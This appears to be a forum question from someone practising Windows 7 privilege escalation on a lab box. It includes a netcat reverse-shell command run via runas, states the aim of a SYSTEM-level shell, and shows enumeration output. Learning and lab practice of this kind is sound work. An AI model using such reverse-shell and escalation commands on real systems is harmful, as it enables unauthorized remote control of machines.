I am learning Windows Privilege escalation. I've managed to add a user to the Administrators
group but I don't know how to execute nc.exe, present in the Temp dir, with elevated privileges.
I am running runas /user:tcm-pc\administrator nc.exe -e cmd <ip> <port>;
however, it asks for an administrator password, which I don't have.
My end goal, here, is to get a reverse-shell as nt authority\system
, with this newly created privileges for the user user
.
Following are some of the details on the Windows box:
c:\Temp>net localgroup administrators
net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
TCM
user
The command completed successfully.
c:\Temp>whoami
whoami
tcm-pc\user
c:\Temp>systeminfo
Host Name: TCM-PC
OS Name: Microsoft Windows 7 Professional
OS Version: 6.1.7601 Service Pack 1 Build 7601
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Workstation
OS Build Type: Multiprocessor Free
Registered Owner: TCM
Registered Organization:
...